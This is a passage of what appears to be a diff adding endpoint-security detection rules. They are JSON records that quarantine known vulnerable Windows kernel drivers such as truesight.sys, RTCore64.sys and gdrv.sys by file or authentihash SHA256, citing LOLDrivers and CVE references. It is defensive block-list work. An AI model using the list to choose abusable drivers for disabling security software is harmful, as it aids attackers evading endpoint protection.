+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155293Z",
+  "creation_date": "2026-03-23T11:45:31.155295Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155300Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5fc8d085871c6d4f6b44f6eabafc3e7d6f49024166e65defdd0248d1de5babd0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "302170b5-68d9-54b3-bcd4-46cddbe26835",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485833Z",
+  "creation_date": "2026-03-23T11:45:31.485837Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485847Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "04fb17d680c7c1ce2f971c2e17cd4108d2c995f9cc702d8da1fdd439bbd103ef",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "302c29f4-1254-5b9b-bc20-af456cfe1570",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489255Z",
+  "creation_date": "2026-03-23T11:45:31.489258Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489266Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3697d13461d0bb6f23edc37d010869bdf421a51593fb264f2d1a38b8fdda755c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "30366c09-965f-531f-8451-cf776f6f7d5c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472914Z",
+  "creation_date": "2026-03-23T11:45:30.472918Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472927Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0e8595217f4457757bed0e3cdea25ea70429732b173bba999f02dc85c7e06d02",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3036e53f-17c1-55e2-8dd4-d2dc8cd599ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156055Z",
+  "creation_date": "2026-03-23T11:45:31.156057Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156063Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ef856b5e6a5846b8aa505272515b762a5b18b8a0496fff4950488d17eefc2095",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3037de6b-ee20-5ca0-8ea3-5b7c48a5114d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487719Z",
+  "creation_date": "2026-03-23T11:45:31.487721Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487726Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3fc98ecceccf767b976b7c4cd9f0aa5e0783e62da8ec5d52411d0b61686e4f24",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "306d5e2a-6d5b-5e05-94fe-bfdf81ba9fb9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480922Z",
+  "creation_date": "2026-03-23T11:45:30.480924Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480930Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7277130afa0b1506998d7bc58567b0d83f52a27175f4c7c4a7186347095fceed",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3072fd59-8f3d-575f-b644-b0a8b3a13f05",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500576Z",
+  "creation_date": "2026-03-23T11:45:31.500579Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500587Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5ffdcfce9414bc1d674d0fd7ae9a531cfc9217791d0d4ea929cddfbce02cc67f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "308162f9-c939-5503-8df3-6f059da42411",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460850Z",
+  "creation_date": "2026-03-23T11:45:30.460854Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460862Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5da0ffe33987f8d5fb9c151f0eff29b99f42233b27efcad596add27bdc5c88ff",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "30904c18-8ec2-596f-966b-074a79b80ea1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609129Z",
+  "creation_date": "2026-03-23T11:45:29.609131Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609137Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f4ff679066269392f6b7c3ba6257fc60dd609e4f9c491b00e1a16e4c405b0b9b",
+  "comment": "Gigabyte vulnerable driver (aka gdrv.sys) [CVE-2018-19320] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3096dde6-140a-57af-a8a0-ca44f8585351",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153578Z",
+  "creation_date": "2026-03-23T11:45:31.153580Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153585Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "92bde364ca9d62fea430b42e32d3a4eeb9b2001bc30f85f0c152831ae47b1680",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "30a1a9c7-62d4-51f2-8fad-bb8466ce86bb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150160Z",
+  "creation_date": "2026-03-23T11:45:31.150161Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150167Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8ad4b24c22e3c23290097ba585975c79c16727e4dddbcbcbc02082949cab8310",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "30a4f139-183a-5a19-923c-787ee9310cf2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830071Z",
+  "creation_date": "2026-03-23T11:45:31.830073Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830078Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b7b307837c1af0367f6f341ab69a915bf1f67d0107d489993511b6ff7e0c2751",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "30bc2798-87d5-5380-a2d7-03a7d89548b9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834897Z",
+  "creation_date": "2026-03-23T11:45:30.834901Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834911Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "43cfa6624c071648e67c03527b2dce064ff116b944431348380c8d74d3c39e3b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "30bf226d-06e6-5644-955c-56d0ddddeced",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613614Z",
+  "creation_date": "2026-03-23T11:45:29.613616Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613621Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "399effe75d32bdab6fa0a6bffe02dbf0a59219d940b654837c3be1c0bd02e9aa",
+  "comment": "Vulnerable Kernel Driver (aka AsrSetupDrv103.sys) [https://www.loldrivers.io/drivers/19003e00-d42d-4cbe-91f3-756451bdd7da/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "30cf82db-4ec2-57e1-82bc-854032dd265e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474559Z",
+  "creation_date": "2026-03-23T11:45:30.474563Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474571Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a3a6146a681d25f7d8be88fb36e37821a351205d9be2843c4e7cc0b366984b39",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "30d7ce0d-8147-5428-9573-3cdbc2504450",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471539Z",
+  "creation_date": "2026-03-23T11:45:30.471543Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471552Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b3e645e8817696fa5d5e2255f9328f3b6a2e5fce91737f4d654ff155dc9851e5",
+  "comment": "Vulnerable Kernel Driver (aka AsIO.sys) [https://www.loldrivers.io/drivers/bd7e78db-6fd0-4694-ac38-dbf5480b60b9/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "30deaf50-6a53-572a-8e2c-7e049a1c5699",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824664Z",
+  "creation_date": "2026-03-23T11:45:31.824666Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824672Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1b3cdee0d8bd1ba2745d26c5a00583677735063c693d6947b5d7657fe9289053",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "30e4b39f-ccf0-5a86-8cb5-c80b2abe598c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973234Z",
+  "creation_date": "2026-03-23T11:45:29.973236Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973242Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a3cf1a6edd205e04653b4338c077072ee753cde0a692490ecaf7afde27df5f0b",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "30f015e7-438e-5949-9ad6-3d04f8d543d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476147Z",
+  "creation_date": "2026-03-23T11:45:31.476151Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476160Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bfda0d884c65b21699dd9f345fc78c1d684875d131fb46053526d491265eb357",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "30f50bc5-f7b4-5014-9038-68b9b452823f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974662Z",
+  "creation_date": "2026-03-23T11:45:29.974664Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974669Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3912c38f4c09b107ee9bbb60f43a8193d6bacf00bfb3b59b7b146d76594797cf",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "30ff047a-93d7-5a4b-b652-2daeff5203cb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488344Z",
+  "creation_date": "2026-03-23T11:45:31.488346Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488351Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "58a17f674f721cbf28ea2d27db218dc6926628fe663d1e7fc7fe9677b69fa395",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "310c3d06-dbe1-5bab-ae9f-47e0ed2cb117",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.623027Z",
+  "creation_date": "2026-03-23T11:45:29.623029Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.623035Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
